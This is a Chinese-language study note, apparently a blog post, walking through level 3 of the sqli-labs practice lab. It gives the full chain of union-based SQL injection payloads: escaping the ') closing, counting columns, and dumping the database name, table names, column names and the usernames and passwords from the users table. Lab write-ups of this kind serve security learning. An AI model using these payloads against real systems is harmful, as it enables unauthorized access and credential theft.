sqli-labs学习笔记3

less-3

打开靶场

输入id=1

判断注入类型

id=1'

报错了,存在sql注入,

id=1'--+

还是报错的,感觉是闭合符号不一样。

试试')

这里看了源代码

所以输入

id=1')--+

')来闭合前面的(',--+来注释掉后面的').

判断字段数

id = 1') order by 3 --+

回显正常,判断字段数4

id = 1') order by 4 --+

判断回显位

id= -1') union select 1,2,3 --+

得到了2,3的回显位。

爆破数据库名与数据库版本

id= -1') union select 1,database(),version() --+

得到了对应的数据库名称:security

爆破数据库的表名

id=-1 ') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆破users表的字段

id=-1 ') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

得到对应的字段名。

爆破users表中字段的数据

id=-1') union select 1,2,group_concat(username,id,password) from users --+

最后得到完整的数据。

相关推荐
AskHarries11 小时前
系统提示词、开发者指令和用户输入的优先级
java·前端·数据库
secondyoung11 小时前
Cortex-R52学习:MPU内存保护机制
arm开发·单片机·学习·arm·mpu
消失在人海中11 小时前
oracle 数据库多表关联查询
服务器·数据库·oracle
red_redemption11 小时前
自由学习记录(198)
学习
九皇叔叔11 小时前
PostgreSQL/openGauss pg_stats 视图从入门到精通:统计信息、执行计划与慢 SQL 优化实战
数据库·sql·postgresql
花岛溯11 小时前
Cursor 学习 DAY2·切换AI模型
学习
星夜夏空9911 小时前
FreeRTOS学习(9)——临界区
学习
AOwhisky12 小时前
Ceph系列第六期:Ceph 文件系统(CephFS)精讲
linux·运维·网络·笔记·ceph
南极企鹅12 小时前
MySQL间隙锁&临键锁
数据库·sql·mysql
萤萤七悬12 小时前
【Python笔记】AI帮实现CLI工具-使用argparse.ArgumentParser接收命令参数
开发语言·笔记·python